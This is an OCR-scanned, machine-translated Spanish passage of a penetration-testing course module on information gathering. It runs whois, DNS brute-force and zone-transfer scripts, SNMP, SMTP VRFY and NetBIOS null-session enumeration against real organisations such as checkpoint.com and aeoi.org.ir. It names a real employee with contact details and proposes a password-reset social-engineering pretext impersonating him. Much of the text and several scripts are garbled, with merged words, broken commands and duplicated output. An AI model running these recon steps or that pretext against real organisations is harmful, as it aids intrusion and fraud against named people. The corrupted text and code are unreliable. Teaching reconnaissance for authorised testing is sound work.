root@bt:~#

Ahora trata decavaren los detallesde dominio para eldominio checkpoint.com Como de
costumbre,usted no tiene absolutamente sin intencionesaliciosagpara este dominio.

root@bt:~# whois checkpoint.com

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

Server Name: CHECKPOINT.COM

IP Address: 216.200.241.66

Registrar: NETWORK SOLUTIONS, LLC.

Whois Server: whois.networksolutions.com

Referral URL: http://www.networksolutions.com

Domain Name: CHECKPOINT.COM

Registrar: NETWORK SOLUTIONS, LLC.

Whois Server: whois.networksolutions.com

Referral URL: http://www.networksolutions.com

Name Server: NS6.CHECKPOINT.COM

Name Server: NS8.CHECKPOINT.COM

Status: clientTransferProhibited

Updated Date: 22 - dec- 2006

Creation Date: 29 - mar- 1994

Expiration Date: 30 - mar- 2012

>>> Last update of whois database: Mon, 08 Mar 2010 17:45:11 UTC <<<
Registrant:

Check Point Software Technologies Ltd.

3A Jabotinsky St.

il ; i
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Ramat- Gan 52520
ISRAEL

Domain Name: CHECKPOINT.COM

Administrative Contact, Technical Contact:

Wilf, Gonen hostmaster@CHECKPOINT.COM
Check Point Software Technologies Ltd.

3A Jabotinsky St.
Ramat- Gan, 52520
IL

+972 - 3- 7534555 fax: +972 - 3- 5759256

Record expires on 30 - Mar- 2012.
Record created on 29 - Mar- 1994,
Database last updated on 8 - Mar- 2010 12:35:44 EST.

Domain servers in listed order:
NS6.CHECKPOINT.COM 194.29.32.199

NS8.CHECKPOINT.COM 216.228.148.29

Usted harecibido la siguiente informacion dda base de datogde registro.

-Registrar: Network Solutions, LLC.

-Whois Serverwhois.networksolutions.com

- Los servidores de nombres: NS6.CHECKPOINT.COM, NS8.CHECKPOINT.COM
- Fecha de vencimiento: 3Gnar-2012

- Titular: Check Point Software Technologies Ltd.

Direccién: 3A Jabotinsk$t., RamatGan 52520, ISRAEL
-Direccién IP216.200.241.66

- Regstrar: NETWORK SOLUTIONS, LLC.

- Nombre de dominio: CHECKPOINT.COM

- Contacto Admnistrativo, Contacto Técnico:

- Wilf, Gonen- gonenw@CHECKPOINT.COM

- Check Point Software Techhagies Ltd.

- Teléfono: +9723-7534555

- NUmero de fax:+972-3-5759256

Toda esta informacion se puede usar para continuar el procesmrecopilacion de informacion
0 para iniciar una sociales ingenieria de ataque ("Haate es Gonen, yo necesito que
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restablecer mi contrasefa Estoy en etrmpuerto, y tiene aie hacerlo.revisar mi presentacion ...
"). Whois También puede realizar busquedas inversaslugar de ingresar un nombre de
dominio, puede introducir una direccién IP direccion. El resultado Whsile incluir todo el
intervalo de red que pertenece alorganizacion.

root@bt:~#  whois 216.200.241.66

Abovenet Communications, Inc ABOVENET -5 (NET -216-200- 0- 0- 1)

216.200.0.0 - 216.200.255.255

CHECKPOINT SOFTWARE MFB655- 216- 200- 241 - 64- 28 (NET - 216- 200- 241- 64- 1)
216.200.241.64 - 216.200.241.79

# ARIN WHOIS database, last updated 2010 - 03- 07 20:00

# Enter ? for additional hints on searching ARIN's WHOIS database.

# ARIN WHOIS data and services are subject to the Terms of Use

# available at https://www.arin.net/whois_tou.html

Tenga en cuenta quecheckpoint.composeeel rango de direccionesP216.200.241.64
216.200.241.79Tienellego alpunto en el quese hanidentificadodeterminadas direccione$P
gue pertenecena la organizacion.

Whois es también a menudaaccesiblea través deuna interfazweb. Los siguientes somlgunos
de los mas integraWhoisweb interfaces disponibles

http://whois.domaintools.com/
http://www.networksolutions.com/whois/index.jsp
http://ripe.net

http://whois.sc
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3. Modulo 3: ReunidnAbiertade Servicios de Informadn

Este modulointroduce a los estudianteal tema de lareunion deservicio de informaciény, en
cierta medida identificacion de la vulnerabilidad

Objetivos del médulo

Al final deeste modulq los estudiantesieben:

1. Ser capaz de utilizalasherramientaspresentes erBackTraclkpara enumerar lared externa
bésico infraestructuraasi comodiversos servicios talesomo DNS SNMP, SMTP $MB.

2. Ser capaz deescribir sugpropiasherramientas basicasn Bash yPython.

3. Ser capaz deautomatizarsecuencias de comandoy herramientasdiversasenumeracion.
4. Tenercompetencia en el usale Maltego.

Informes

Avisoes necesario para estméddulo como se describe eros ejercicios

Una vezque haya reunido informaciorsuficiente acerca de sdestinoutilizando los recursosle
red abierta puede ademasenumerarla informacion pertinente deotros serviciosmas
especificoqque estan disponiblesEstecapitulodemostraravariosservicios Por favor,tenga en
cuenta queesto es s6louna breve listapreliminar. Docenas deotros servicios puedeevelar
informacidninteresante paraun atacanteaparte a partir delos que se mencionan aqui

3.1 Reconocimiento deDNS

DNSes una de miduentes favoritas deecopilacion de informacionDNSofrece una variedad
de informacién acerca publicos (privadosa veces) servidores dea organizaciéntales como
direcciones IPnombres de servidow el servidor funciones

e .
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3.1.1Interaccion conun servidorDNS

Un servidorDNSsueledivulgar DNSy la informaciondel servidor de correopara el dominio
para el cual esauténtica Esta es una necesidagh que las solicitudepublicas dedirecciones
del servidorde correoy el servidorDNS direccionesonstituyen laexperiencia de Internet
bésico.

Puede interactuaicon un servidorDNS convariosclientes DNScomo anfitrion, nslookupy dig.
Examinemogrimero nslookup Simplemente escribiendmslookup,te ponen enun nslookup
del sistemay presentado ningungpeticion DNSal servidorDNS, quese instala ersu
configuracionTCP / IR

Por ejempla

root@bt:~#  nslookup

> www.checkpoint.com
Server: 24.224.127.143
Address: 24.224.127.143#53
Non- authoritative answer:
Name: www.checkpoint.com
Address: 216.200.241.66

>

Eneste ejemplo, séha conectadoal servidor locaDNS @4.224.127.143Y le pidié queresolver
el registro parawww.checkpoint.comkl servidoiIDNSresponde conla direccion
216.200.241.66
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3.1.1.1 MX consultas

Para identificar el servidor MX (servidor de correo) que pertenecen a una organizacion,
puede simplemente pedir el DNS servidor para mostrar todos los registros MX
disponibles para el dominio de esa organizacion:

> set type=mx

> checkpoint.com

Server: 24.224.127.143

Address: 24.224.127.143#53

Non- authoritative answer:

checkpoint.com mail exchanger = 12 cale.checkpoint.com.
checkpoint.com mail exchanger = 15 usmail - as.zonelabs.com.
Authoritative answers can be found from:

checkpoint.com nameserver = ns8.checkpoint.com.
checkpoint.com nameserver = ns6.checkpoint.com.
cale.checkpoint.com internet address = 194.29.32.199
ns6.checkpoint.com internet address = 194.29.32.199
ns8.checkpoint.com internet address = 216.228.148.29

>

Observe los dosservidores de correaue se enumeranmfnbm2 cale.checkpoint.cony
usmailas

zonelabs.comCada servidor tienain "costo"asociado a él12 y 15, respectivamenteEste costo
indica la preferenciale llegada demensajes dos servidores de correo dda lista Costos mas
bajosson los preferido¥ De estose puede asumir quecale esel servidor decorreo principaly
gue el otro esuna copia de seguridadcen casocale falla.
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3.1.1.2ConsultasNS

Con una consultssimilar, puededentificar todoslos servidores DN$on autoridad paraun
dominio:

> settype=ns

> checkpoint.com

Server: 24.224.127.143

Address: 24.224.127.143#53

Non- authoritative answer:

checkpoint.com nameserver = ns8.checkpoint.com.
checkpoint.com nameserver = ns6.checkpoint.com.

Authoritative answers can be found from:

ns6.checkpoint.com internet address = 194.29.32.199

ns8.checkpoint.com internet address = 216.228.148.29

Esta consulta identifica dos servidores DNS que sirven al dominio checkpoint.com: NS6 y NS8.
(¢ Quépast a todos los demés?) Esta informacion puede ser Util mas adelante cuando se intenta
realizar una zonaransferencias.

3.1.2 Automatizacion de busquedas
La recoleccion de informacion mediante DNS se puede dividir en tres técnicas principales:

- Busqguweda directa de la fuerza bruta
- Busqueda inversa fuerza bruta
- Las transferencias deona
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3.1.3busqueda directade fuerza bruta

Laideadetras de este métodces tratar deadivinar los nombres/alidos delos servidores déa
organizacion tratando de

resolverun nombre determinado.Siel nombre se resuelveel servidorexiste.He aqui un
pequefio ejemploutilizando el host

comando:

root@bt:~#  host www.checkpoint.com
www.checkpoint.com has address 216.200.241.66
root@bt:~#  host idontexist.checkpoint.com

Host idontexist.checkpoint.com not found: 3(NXDOMAIN)

root@bt:~#

Observeque elwww.checkpoint.cormombre DNSresuelto yel comandode acogida(que
actua comoun Cliente DN$devolvidla direccionlP perteneciente a esé¢-QDN.EInombre hizo
idontexist.checkpoint.com nge resuelven yjue recibidun "no encontrado"resultado.
Tomando estaidea un poco mas lejos, corun poco de bashscriptingpuede automatizar el
procesode descubrimiento.

A continuacién,compilar unalistade nombres de servidoregomunesy presentarlas ain
archivo:dns-nombres.txt(a mas listacompleta de nonmbres DNSesta disponible en pentest/
enumeracién/ dnsenum/ dns.tx:

www
www?2
firewall
cisco
checkpoint
smtp

pop3
proxy

dns

Vadke i
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Ahora puede escribiun script bashcorto (dodns.sh) queiterar a través de estdistay ejecutar el
sede decomando encada linea

#!/bin/bash
for name in $(cat dns - names.txt);do
host $name.checkpoint.com

done

La salidade este scriptes cruda yno terriblementedtil:
root@bt:~#  ./dodns.sh

www.checkpoint.com has address 216.200.241.66

Host wwwl.checkpoint.com not found: 3(NXDOMAIN)
www?2.checkpoint.com is an alias for www.checkpoint.com.
www.checkpoint.com has address 216.200.241.66

Host firewall.checkpoint.com not found: 3(NXDOMAIN)

Host cisco.checkpoint.com not found: 3(NXDOMAIN)

Host checkpoint.checkpoint.com not found: 3(NXDOMAIN)
smtp.checkpoint.com is an alias for michael.checkpoint.com.
michael.checkpoint.com has address 194.29.32.68
pop3.checkpoint.com is an alias for michael.checkpoint.com.
michael.checkpoint.com has address 194.29.32.68
Host proxy.checkpoint.com not found: 3(NXDOMAIN)

Host dns.checkpoint.com not found: 3(NXDOMAIN)

Host dns1.checkpoint.com not found: 3(NXDOMAIN)
ns.checkpoint.com has address 194.29.32.199

root@bt:~#

vl
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Trate de limpiar la salida parenostrar sélo las lineas que contienen la cadena "tiene la
direccion™:

#1/bin/bash
for name in $(cat dns - hames.ixt);do
host $name.checkpoint.com |grep fhas addresso

done

La salidade este scriptse ve mucho mejory muestralos nombres de hostinicosque se han
resuelta

root@bt:~# ./dodns.sh

www.checkpoint.com has address 216.200.241.66
www.checkpoint.com has address 216.200.241.66
michael.checkpoint.com has address 194.29.32.68
ns.checkpoint.com has address 194.29.32.199

root@bt:~#

Para obteneruna lista limpiade direcciones IPpuede realizada manipulaciénde pruebassobre
esteproducto. Cortarla lista y mostrarsélo el campo de direccionP:

#!/bin/bash
for name in $(cat dns - names.txt);do
host $name.checkpoint.com |grepd"ih#ds addresso| cut

done

La salidase limita ahoraa una lista dedirecciones IP:

root@bt:~#  ./dodns.sh

216.200.241.66

194.29.32.68
194.29.32.68

root@bt:~#
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Tenga en cuenta quaisted harecibido variosrangos de direccionesP:194.29.32.0
212.200.241.¢.. Compare esto informacion con lanterior salidaWhois.Para completar la
informacion del mapalleve a cabauna Whois busquedaen el rango de IPnueva queacaba de
encontrar(194.29.32.0):

root@bt:~#  whois 194.29.32.199

% Information related to '194.29.32.0 - 194.29.47.255'
inetnum: 194.29.32.0 - 194.29.47.255

netname: CHECKPOINT

descr: Checkpoint Software Technologies

country: IL

% Information related to '194.29.32.0/20AS25046'
route: 194.29.32.0/20

descr: Check Point Software Technologies LTD.

origin: AS25046
mnt- by: NV - MNT RIPE

source: RIPE # Filtered

Usteddescubrira unaampliared adicionalperteneciente acheckpoint.comcon el bloque delP
194.29.32.0/20
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3.1.4 Busqueda Inversa Fuerza Bruta

Armado conestos bloques de red IP, ahora puede probar el segundo método de
informacion del DNS recoleccion, la busqueda inversa de fuerza bruta. Este método se
basa en la existencia de registros de host PTR son configurada en el servidor de
nombres de la organizacid. Los registros PTR son cada vez mas ampliamente utilizado
debido

muchos sistemas de correo requieren verificacion PTR antes de aceptar correo.

Con el comando host, puede realizar una consulta DNS PTR en un IP, y si esa IP tiene
un registro PTR configuraa recibir4 su FQDN:

root@bt:~#  host 216.200.241.66

66.241.200.216.in - addr.arpa domain name pointer www.checkpoint.com

root@bt:~#

A partir de esteresultadq se ve queda IP216.200.241.6®ack resuelvewww.checkpoint.comel
uso de un Script bashpuede automatizara resolucién deatrdsde todos los ejércitogpresentes
en lacheckpoint.com

Bloques IP

#!/bin/bash

echo "Please enter Class C IP network range:"

echo "eg: 194.29.32"

read range

forip in 'seq 1 2547;do

host $range.$ip |grep "name pointer" |cut -d'" -f5

done

Saodki
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La salida de estescript es:

root@ bt: . ~#/ dodnsr.sh

Por favor, introduzcaP ClaseC rango de red
por ejemplo:194.29.321

1942932 .1
dyn32 - 1.checkpoint.com.
yn32 - 2.checkpoint.com.

dyn32 - 3.checkpoint.com.

michael.checkpoint.com

cpp - stg.checkpoint.com.
mustang - il.checkpoint.com.
cpp - stg.checkpoint.com.
cpp - s.checkpoint.com.
emmat s.checkpoint.com.
emmaz2 s.checkpoint.com.
emmaclus - s.checkpoint.com.
dyn32 - 88.checkpoint.com.
harmetz.checkpoint.com
sills.checkpoint.com
sills.checkpoint.com

imap1.checkpoint.com

dyn32 - 116.checkpoint.com.

A menudo, muchos de losnombres de hostproporcionar una pistaacerca deluso del servidor
especifico, comamaplo
VPNSSL

ol ¢
P ‘ @BackTrackAcadem ‘* fb/BackTrackAcademy




Paginal 75 i
3.1.5Transferencias de zonBNS

Si no esta familiarizadaon eltérmino de transferencia de zonao conlos mecanismos
subyacentes de laactualizaciones de DNSecomiendo encarecidamentgue leaal respecto
antes de continuarWikipedia tienealgunos buenosrecursos:

http://en.wikipedia.org/wiki/DNS zone transfer

Basicamentguna zona de transferencipuede sercomparadaa un acto de replicaciénde
bases de datogelacionadasentre servidores DNSLos cambios erlos archivos de zona
normalmente se hacen el servidor DNS principay se replicanpor una zona

la solicitud de transferencial servidor secundarioDesafortunadamentemuchos
administradoresdesconfigurarlos servidoredDNSy, como resultado, cualquier persona
solicitandouna copia de la zonaservidorDNSrecibirauno. Esto es equivalenta la entrega de
un hackerel disefio de la redcorporativaen bandeja deplata. Todoslos nombresy las
direcciones ¥, a menudola fundonalidad)de los servidoregstan expuestos &as miradas
indiscretasHe vistoorganizaciones cuyoservidoresDNSmal configuradoestabantan mal que
no separabasu espacio de nombreDNS internoy externoespacio de nombredDNSen
diferenteszonasno relacionadasEsto dio como resultadain mapa completo dela estructura
de la redexterng asi comoun mapa interna Esimportante decir queuna transferencia de zona
éxito no resultedirectamentede unapenetracion.Lo hace,Sin embargq definitivamenteayuda
al hackeren el procesoA continuacion,intentar unatransferencia de zona erl dominio
www.offensivesecurity.comUsted puedeutilizar el hosto dig comando en Linuxpara intentar
la transferencia de zona.
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Usted puede reunilos nombres delos servidoreDNSya sea usandmslookupo utilizando el

comando host:

root@bt:~#  host -tns offensive - security.com
offensive - security.com name server ns4.no - ip.com.
offensive - security.com name server ns5.no - ip.com.
offensive - security.com name server ns3.no - ip.com.
offensive - security.com name server nsl.no - ip.com.
offensive - security.com name server ns2.no - ip.com.
root@bt:~#

Ahora que tienelas direcciones de serviddDNS puede intentarrealizar latransferencia de
zona. Trate de obtener unaransferencia de zonalesde el primer servidoDNS:

root@bt:~# host - offensive - security.com ns4.no - ip.com
; Transfer failed.

Using domain server:

Name: ns4.no -ip.com

Address: 75.102.60.46#53

: Transfer failed.

root@bt:~#

La transferenciale zonafallidaporgue la ofensivade seguridadlos servidoredDNS estan
configuradoscorrectamente.

Echa unvistazo a lo queuna transferencia de zona&xito parece.Vas aidentificar a todoslos
servidores DNSwutorizado para el dominicaeoi.org.iry luego intentir una transferencia de
zona:

root@bt:~# host -tns aeoi.org.ir

aeoi.org.ir name server sahandl.aeoi.org.ir.
root@bt:~# host -1|aeoi.org.ir sahandl.aeoi.org.ir
Using domain server:

Name: sahandl.aeoi.org.ir

Address: 217.218.11.162#53

Aliases:
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aeoi.org.ir name server sahandl.aeoi.org.ir.
basij.aeoi.org.ir has address 217.218.11.167
emailserver.aeoi.org.ir has address 217.218.11.169
inis.aeoi.org.ir has address 217.218.11.164
inra.aeoi.org.ir has address 217.218.11.167
mail.aeoi.org.ir has ad dress 217.218.11.169
nepton2.aeoi.org.ir has address 217.218.11.167
ns3.aeoi.org.ir has address 217.218.11.162
ns4.aeoi.org.ir has address 217.218.11.163
sahandl.aeoi.org.ir has address 217.218.11.162
simorgh.aeoi.org.ir has address 217.218.11.171
tamas.aeoi.org.ir has address 217.218.11.166
www.aeoi.org.ir has address 80.191.7.220

root@bt:~#

¢ Tieneduna transferencia exitosde sahandl.aeoi.org.irComo ya habranadivinado,va atratar
de escribirun guién maseficientepara automatizar eprocesa

Revise lssiguiente secuencia de comandgsasegurese deentender:

#/bin/bash

# Simple Zone Transfer Bash Script

# $1 is the first argument given after the bash script
# Check if argument was given, if not, print usage

if [ -z"$1"]; then

ec ho "[*] Simple Zone transfer script"

echo "[*] Usage : $0 <domain name> "

echo "[*] Example : $0 aeoi.org.ir "

exit 0

fi
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# if argument was given, identify the DNS servers for the domain
for server in $(host -tns $1 |cut -d""  -f4);do
# For each of these servers, attempt a zone transfer

host - 1$1 $server |grep "has address”

done

Este script esrudo y se puede mejorade muchas manerasDe hechg BackTrackncluye
algunosespecializado herramientas para Enumeraciénde DNS EI mas prominentele ellos
esdnsenum.p] que incorporalos tres mencionaddNStécnicas de reconocimient@n una sola
herramienta

root@bt:/pentest/enumeration/dnsenum# Jdnsenum.pl

dnsenum.pl VERSION:1.2

Usage: dnsenum.pl [Options] <domain>

[Options]:

Note: the brut eforce - fswitch must be specified to be able to continue the
process execution.

GENERAL OPTIONS:

-- dnsserver <server>

Use this DNS server for A, NS and MX queries.

-- enum Shortcut option equivalent to -- threads5 -s20 -w.

-h, -- help Print this help message.

noreverse Skip the reverse lookup operations.

private Show and save private ips at the end of the file domain_ips.txt.

subfile <file> Write all valid subdomains to this file.

t, -- timeout <value> The tcp and udp timeout values in s econds (default: 10s).

threads <value> The number of threads that will perform different queries.

-v, -- verbose Be verbose: show all the progress and all the error messages.
GOOGLE SCRAPING OPTIONS:

-p, -- pages <value> The number of google search pag es to process when
scraping names, the default is 20 pages,

the - s switch must be specified.
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-s, - scrap <value> The maximum number of subdomains that will be scraped
from google.

BRUTE FORCE OPTIONS:

-f, -~ file <file> Read subdomains from this file to perform brute force.
-u, -- update <alg|r|z>
Update the file specified with the - f switch with vaild subdomains.

a (all) Update using all results.

g Update using only google scraping results.

r Update using only reverse lookup results.

z Update using only zonetransfer results.

-1, -~ recursion Recursion on subdomains, brute force all discovered
subdomains that have an NS record.

WHOIS NETRANGE OPTIONS:

-d, -- delay <value> The maximum value of seconds to wait between whois
queries, the value is defined randomly, default: 3s.

-w, -- whois Perform the whois queries on c class network ranges.
*\Warning**: this can generate very large netranges

and it will take lot of time to perform reverse

lookups.

REVERSE LOOKUP OPTIONS:

-e, - exclude <reg exp>

Exclude PTR records that match the regexp expression

from reverse lookup results, useful on invalid

hostnames.

root@bt:/pentest/enumeration/dnsenum#

Tenga en cuenta quelns.txtes un archivo coruna larga lista denombres DNScomunesque
dnsenumutiliza para el delantero basquedagor fuerza bruta
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3.2 Reconocimiento SNMP

Considero SNMP para ser un protocolo mas débil. Durante afios ha sido muy mal
entendido y infravalorado. SNMP es un protocolo de gestién y se usa a menudo para
supervisar y conifurar de forma remota servidores y dispositivos de red. Si no esta
familiarizado con SNMP, MIB é&rbol, o el término OID, puede comprobar Wikipedia para
mas informacion:

http://en.wikipedia.org/wiki/Simple_Network_Management_Protocol

En esta seccion se siiutirh SNMP v1 y v2c.

SNMP se basa en el UDP, un protocolo sin estado, y por lo tanto es susceptible a la
falsificacion de IP (mas sobre esto mas adelante). Ademas, SNMP tiene un sistema de
autenticacion débil: comunidad privada (rw) y publicos (r) caden&stas cadenas de
comunidad se transmiten sin cifrar en la red y se dejan a menudo erestados
redeterminados, privados y publicos.

Teniendo en cuenta que SNMP se utiliza generalmente para supervisar los servidores y
dispositivos de red importantes, m8NMP considerar como uno de los eslabones mas
débiles de la postura de seguridad local de una organizacion. el uso de un

sniffer simple, un atacante puede capturar las solicitudes SNMP que se envian a lared, y
podria potencialmente en peligro la infraestctura de la red entera (desconfigurar un
router o switch, oler otro trafico de personas mediante la reconfiguracion de los
dispositivos de red, y asi sucesivamente).

En términos generales, la cadena de comunidad publica puede leer informacion desde
un dispositivo habilitado SNMP, y la cadena de comunidad privada a menudo pueden
volver a configurar los valores del dispositivo.
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Examinemos ahoralgunos datos deun host de WindowsejecutandoSNMPutilizando la

siguiente comando:

root@bt:~# snmpwalk - c public - vl <ip address> 1

Si intenta estoen un laboratoriq probablementese sentira abrumado pofa cantidad de
informacionque se obtiene Dejar medemuestraalgunos comandosnteresantes

bt snmpenum#  snmpwalk - c public -v1192.168.0.110

SNMPv2 MIB::sysDescr.0

SNMPv2 MIB::sysDescr.0 = STRING: Hardware: x86 Family 15 Model 4 Stepping 8 AT/AT

COMPATIBLE -

Software: Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free)

bt snmpenum #

3.2.1 Enumerating Windows Users

bt# snmpwalk -c public -v1192.168.0.110 1.3 |grep 77.1.2.25 |cut -d""t -f4

"Guest"
"Administrator”
"IUSR_WIN2KSP4"
"IWAM_WIN2KSP4"
"TsInternetUser"
"NetShowServices"

bt #

3.2.2 Enumerating Running Services

bt# snmpwalk -c public -v1192.168.0.110 1 |grep
"System

"System"

"smss.exe"

"csrss.exe"

"winlogon.exe"

"cmd.exe"

1 @BackTrackAcadem
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"services.exe"
"Isass.exe”
"svchost.exe”
"SPOOLSV.EXE"
"VMwareTray.exe"
"msdtc.exe"
"explorer.exe"
"svchost.exe"
"llssrv.exe"
"NSPMON.exe"
"NSCM.exe"
"regsvc.exe"
"mstask.exe"”
"snmp.exe"
"VMwareService.e"
"svchost.exe"
"inetinfo.exe"
"nspm.exe”
"NSUM.exe"
"wuauclt.exe"
"VMwareUser.exe"
"dfssvc.exe"

bt snmpenum #
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3.2.3 Enumerating Open TCP Ports

bt# snmpwalk - c public -v1192.168.0.110 1 |grep tcpConnState |cut -d.t -6
|sort  -nu

21

25

80

119

135

139

7778

8328

3.2.4 Enumerating Installed Software

bt snmpenum#  snmpwalk - c public -v1192.168.0.110 1 |grep hrSWinstalledName
HOSTF RESOURCEMIB::hrSWinstalledName.1 = STRING: "WebFIdrs"

HOSTF RESOURCEMIB::hrSWinstalledName.2 = STRING: "VMware Tools"

bt snmpenum #

Puede realizamuchas busquedainteresantesComo de costumbre hay herramientasnas
especializadas parastetarea, yo personalmentecomo snmpenum.ply snmpcheck.pl

root@bt:enumeration/snmp/snmpenum# Jsnmpenum.pl 192.168.9.220 public windows.txt

INSTALLED SOFTWARE

freeSSHd 1.2.1
GuildFTPd FTP Deamon
MailEnable Messaging Services for Windows NT/2000

VMware Tools

UPTIME
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5 days, 05:33:51.81

HOSTNAME

MASTER

USERS

bob
lab
tom

john

lisa

mark

backup
krbtgt

Administrator

DISKS

A\
C:\ Label: Serial Number e46bf3ef
Virtual Memory

Physical Memory

RUNNING PROCESSES

System Idle Process

System
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svchost.exe

SMSSs.exe

GuildFTPd.exe
csrss.exe

rdpclip.exe

LISTENING UDP PORTS

161
445
500
1030

mark

backup
krbtgt

Administrator

DISKS

A\
C:\ Label: Serial Number e46bf3ef
Virtual Memory

Physical Memory

RUNNING PROCESSES

System Idle Process
System

svchost.exe

ol ¢
P ‘ @BackTrackAcadem ‘* fb/BackTrackAcademy




SMsSs.exe

GuildFTPd.exe
CSIss.exe

rdpclip.exe

LISTENING UDP PORTS

161
445
500

1030
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3.3 ReconocimientoSMTP

Bajociertasconfiguraciones erroneasservidores de corredambién se puede utilizar para
recopilar informaciénacerca de un hoso red. SMTP es compatible comarios comandos
interesantes comd/RFYy EXPN

A peticion VRFYpide al servidompara verificaruna direccion decorreo electronico mientras
EXPNpide al servidorpara la pertenencia a undista de correo Estas a menudo puedeser
objeto de abusoparaverificar a los usuariosxistentesen el servidorde correo,

gue puede ayudar alatacantemas tarde

Considereeste ejemplo:

bt# nc -nv192.168.0.10 25

(UNKNOWN) [192.168.0.10] 25 (smtp) open
220 gentoo.pwnsauce.local ESMTP Sendmail 8.13.7/8.13.7; Fri, 27 Oct 2006 14:53:15
+0200

VRFY muts

550 5.1.1 muts... User unknown

VRFY root

250 2.1.5 root <root@gentoo.pwnsauce.local>
VRFY test

550 5.1.1 test... User unknown

punt!

bt #

ol ¢
P ‘ @BackTrackAcadem ‘* fb/BackTrackAcademy




Paginal 88?

Notar la diferenciaen el mensaje cuandan usuario esta presenten el sistemakEl servidor
SMTPanunciala presencia del usuarien el sistemaEste comportamientcse puede utilizar
paratratar de adivinarvalido nombres de usuario.

Escribir un scripPythonsencilloque abrir un socketTCP conectarse al servidoBMTPy emitir
una VRFYcomando:

#!/usr/bin/python

import socket

import sys

if len(sys.argv) = 2:

112

print "Usage: vrfy.py <username>"

sys.exit(0)

# Create a Socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect=s.connect(('192.168.0.10',25))

# Receive the banner

banner=s.recv(1024)

print banner

# VRFY a user

s.send('VRFY ' + sys.argv[1] +' \r\n)
result=s.recv(1024)

print result

# Close the socket

s.close()
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3.4 MicrosoftNetBIOSRecopilacion de informacion

Los hackersaa menudo hanabusado de laimplementacionde Windows delprotocolo NetBIOS.
Puesto que el introduccién de WindowXP SP2 yWindows 2003 los valores predeterminados
de NetBIOSde acceso se hatecho mas seguray ese vectorha disminuido ligeramente
Ademas,muchos proveedores de Interndbloquean lospuertos NetBIOSsobre
suinfraestructura basicaque invalidaestevector de ataquea través de Internet

Diciendo estoen las pruebas delumainternasa menudo meencuentroheredada de
WindowsNT, Windows 2000Linuxo Sambaservidores que sortodaviavulnerables a estos
métodos de enumeracion

3.4.1sesiones nulas

Una sesidbmula esuna autenticadosesionNetBlOSentre dos equiposEsta funciorexiste para
permitir que las maquinaso autenticados paraobtener listas de exploraciome otros
servidores de MicrosoftEsta caracteristica tambigpermite a los hackersio autenticados para
obtener grandes cantidades dénformacién acerca del equippcomo politicas decontrasefas
nombres de usuario, nombres de grupos, nombres de equipos, usuagdsostSID y asi
sucesivamenteks explica mejorcon un ejempla
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S WINDOWS  syskem32' cmd.exe - | I:Ilil

C:snet view ~5192.168.8.11
System error 5 has occurred.

Acce=zs is denied.

C:w2net nse SS192.168B. B 11%ipcd " oz
The command completed successfully.

C:sonet view ~~1972.168_8.11
Shared resources at ~~192.168.8.11

Comment

Management

Private

Public

The command completed successfully.

G

Después de la sesionula fue creado manualmente, ebrdenador de la victimaeveld unalista
de accionesgue alberga.

Tenga en cuentague la creacion desesion nula(RestrictAnonymou®n el registro)se ha
deshabilitadoen WindowsXP y 2003de forma predeterminadaPara obtener masnformacion
acerca delas sesiones nulag el protocolo NetBIOSyisite:

http://en.wikipedia.org/wiki/NetBIOS
http://www.securityfriday.com/Topics/winxp2.html
http://www.securityfriday.com/Topics/restrictanonymous.html

3.4.2Escaneqara el servicidNetBIOS

Muchas herramientagstan disponibles parayudar a identificalos equiposque ejecutanlos
servicios deNetbios (WindowsUso compartido de archivas comonbtscany smbserverscan
nbtscanesrapidamente capaz dadentificarmaquinas en unasubred especificduncionamiento
SMB:
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| I @BackTrackAcadem {i fb/BackTrackAcademy

e




~ v X root@bt: ~
File Edit View Terminal Help

# nbts -r 192.168.11.0/24

=
Doing NBT name scan for addresses from 192.

NetBIOS Name

e}

XP-LAB-026
XP-LAB-054
XP-LAB-057
XP-LAB-084
XP-LAB-094
CLIENT108
CLIENT127
CLIENT156
ALICE
IS~0RACLE2
<ynknown>
TRIXBOXL
REDHAT

o O
o o
v N

Y O O
w0

[ B S e I~ )]

[ py—

N

[« ) l*)
o0 00 O 00

N~ 00

o =)
-
w
()]

N

o
J

n

<unknown>
ORACLE2
<unknown>
TRIXBOX1
REDHAT
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MAC address

C-29-44-
')l -

-56-
500
56

w
@
U

‘\

w
O
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U

daa-
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1
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v
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o

A
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MASTER <server> <unknown:

SLAVE <server> <unkn

MAILMAN |

<unknown> <unknown> 0-50-56-bc- f 16
UBUNTUG5 <server> UBUNTUO5 )0-00-00- OO 00-00
SRV2 <server> SRV2 )-50-56 20-67

o
0O 0O 0O o

o )

R ¢
5 ¢
5 ¢
S
B |
X
Ay §
3 &
.168 01
.168 205
.168 06
.168
9
a
1
1
1
1
5

o O
o0 o

3.4.3 Enumerar Nombre de usuario / Contrasefliticas

Para enumerar la informacion del usuario desde una maquina Windows que permite sesiones
nulas, puede utilizar mas herramientas especializadas, como la samrdump (un script de python
por Core Security, ubicada en (que se encuentra en / pentest thogn / impacket examples /) o

la rpclient disponible en BackTrack. Tenga en cuenta la enorme cantidad de informacién
interesante recibidos:

root@bt:~#  samrdump.py 192.168.2.102
Retrieving endpoint list from 192.168.2.102
Trying protocol 445/SMB...

Found domain(s):

. 97DACBEC7CA4483

. Builtin

Looking up users in domain 97DACBEC7CA4483
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Found user: Administrator, uid = 500

Found user: Guest, uid = 501

Found user: IUSR_WIN2KSP4, uid = 1003
Found user: IWAM_WIN2KSP4, uid = 1004
Found user: NetShowServices, uid = 1001
Found user: TsiInternetUser, uid = 1000
Administrator (500)/Enabled: true
Administrator (500)/PWD Must Change: Infinity
Administrator (500)/Group id: 513
Administrator (500)/Bad pwd count: O
Administrator (500)/Logon count: 9
Administrator (500)/Profile:

Administrator (500)/Comment:

Administrator (500)/Logon hours: Unlimited
Administrator (500)/Workstations:
Administrator (500)/Description: Built - in account for administration
Administrator (500)/Parameters:

Administrator (500)/Script:

Administrator (500)/Home Drive:

Administrator (500)/Account Name: Administrator
Administrator (500)/Home:

Administrator (500)/Full Name:

Guest (501)/Enabled: false

Guest (501)/PWD Must Change: Infinity
Guest (501)/Group id :513

Guest (501)/Bad pwd count: O

Guest (501)/Logon count: 0

Guest (501)/Profile:

Guest (501)/Comment:

Guest (501)/Logon hours: Unlimited

Guest (501)/Workstations:
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Guest (501)/Description: Built - in account for guest access to the computer/domain

Guest (501)/Parameters:

Guest (501)/Script:

Guest (501)/Home Drive:

Guest (501)/Account Name: Guest

Guest (501)/Home:

